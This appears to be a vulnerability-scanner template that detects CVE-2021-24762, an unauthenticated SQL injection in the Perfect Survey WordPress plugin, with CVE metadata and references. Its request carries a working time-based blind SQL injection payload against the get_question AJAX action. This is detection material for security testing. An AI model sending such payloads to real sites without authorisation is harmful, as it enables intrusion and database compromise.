id: CVE-2021-24762
info:
name: WordPress Perfect Survey<1.5.2 - SQL Injection
author: cckuailong
severity: critical
description: |
Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
reference:
- https://www.exploit-db.com/exploits/50766
- https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget
- https://nvd.nist.gov/vuln/detail/CVE-2021-24762
- https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24762
cwe-id: CWE-89
epss-score: 0.00848
cpe: cpe:2.3:a:getperfectsurvey:perfect_survey:*:*:*:*:*:wordpress:*:*
epss-percentile: 0.80045
metadata:
max-request: 1
framework: wordpress
vendor: getperfectsurvey
product: perfect_survey
tags: cve,wpscan,cve2021,sqli,wp,wordpress,wp-plugin,unauth,edb
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(4)))HQYx)"
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=4'
- type: word
part: header
words:
- "wp-ps-session"
- type: status
status:
- 404